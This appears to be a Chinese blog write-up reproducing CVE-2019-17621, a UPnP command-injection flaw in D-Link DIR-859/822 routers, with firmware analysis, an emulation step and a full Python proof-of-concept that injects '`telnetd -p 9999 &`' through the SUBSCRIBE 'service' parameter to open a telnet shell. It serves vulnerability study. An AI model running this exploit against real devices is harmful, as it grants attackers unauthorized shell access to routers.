CVE-2019-17621 Dlink-859 RCE 复现

  • 漏洞分析

    关于UPnp:

    网络设备之间的一种通用协议(即插即用协议),主要功能之一时自动打开端口,而无需用户为每个程序手动配置默认路由器。
    

    漏洞起始位置在二进制文件 /htdocs/cgibin 的 genacgi_main 中,进入 sub_40FCE0 函数,前面这一部分代码构造了一个请求报文并存在 v23 中

    image-20220224192617021

    xmldbc_ephp 中会调用 send,跟进去看看,

    image-20220224194206938

    image-20220224194223290

    image-20220224194240747

    以这种方式向 run.NOTIFY.php 发了个包,跟进其中的 subscribe_new 函数

    image-20220224195041964

    前面是一些赋值和判断操作,之后调用了 GENA_notify_init 函数,发现了一个可控的 fwrite 函数

    image-20220224195233136

    其中传入的 $shell_file 是一个脚本的名字, 第一次调用 fwrite 向 $shell_file 中写入了一些命令,第二次调用时将该问文件添加新行,本意是用 rm 命令删除身,但如果 $shell_file 是一个由反引号包裹的命令,那么就形成一个 RCE。(“ rm”命令将失败,因为文件名字符串将被“ rm”返回的输出(空字符串)替换)

    实际的执行流:

    Request: http://IP:PORT/*?service=`ping 192.168.0.20`
    System: /var/run/`ping 192.168.0.20`_13567.sh
    Run: rm -f `ping 192.168.0.20`_13467.sh
    
  • 漏洞复现

    固件下载地址 http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-822

    Poc:

    import socket
    import os
    from time import sleep
    # Exploit By Miguel Mendez & Pablo Pollanco
    def httpSUB(server, port, shell_file):
        print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
        con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
        request += "Host: " + str(server) + str(port) + "\n"
        request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
        request += "NT: upnp:event\n"
        request += "Timeout: Second-1800\n"
        request += "Accept-Encoding: gzip, deflate\n"
        request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
        sleep(1)
        print('[*] Sending Payload')
        con.connect((socket.gethostbyname(server),port))
        con.send(str(request))
        results = con.recv(4096)
        sleep(1)
        print('[*] Running Telnetd Service')
        sleep(1)
        print('[*] Opening Telnet Connection\n')
        sleep(2)
        os.system('telnet ' + str(server) + ' 9999')
    serverInput = '192.168.0.1'
    portInput = 49152
    httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
    

    用 firmware-analysis-plus 框架仿真路由器 https://github.com/liyansong2018/firmware-analysis-plus

    python3 fat.py -q tools/firmware-analysis-plus/qemu-builds/2.5.0/ /home/iot/game/CVE-2019-17621/DIR822A1_FW103WWb03.bin
    

    成功之后回车,在浏览器中可用正常访问到(但不知道为什么报了很多莫名其妙的错误)

    image-20220224202751315

    运行 exp, 攻击成功

    image-20220224202931540

    谨记第一次 IOT 漏洞复现成功。

  • 参考文献

posted @ 2022-02-24 20:36  moon_flower  阅读(561)  评论(0编辑  收藏  举报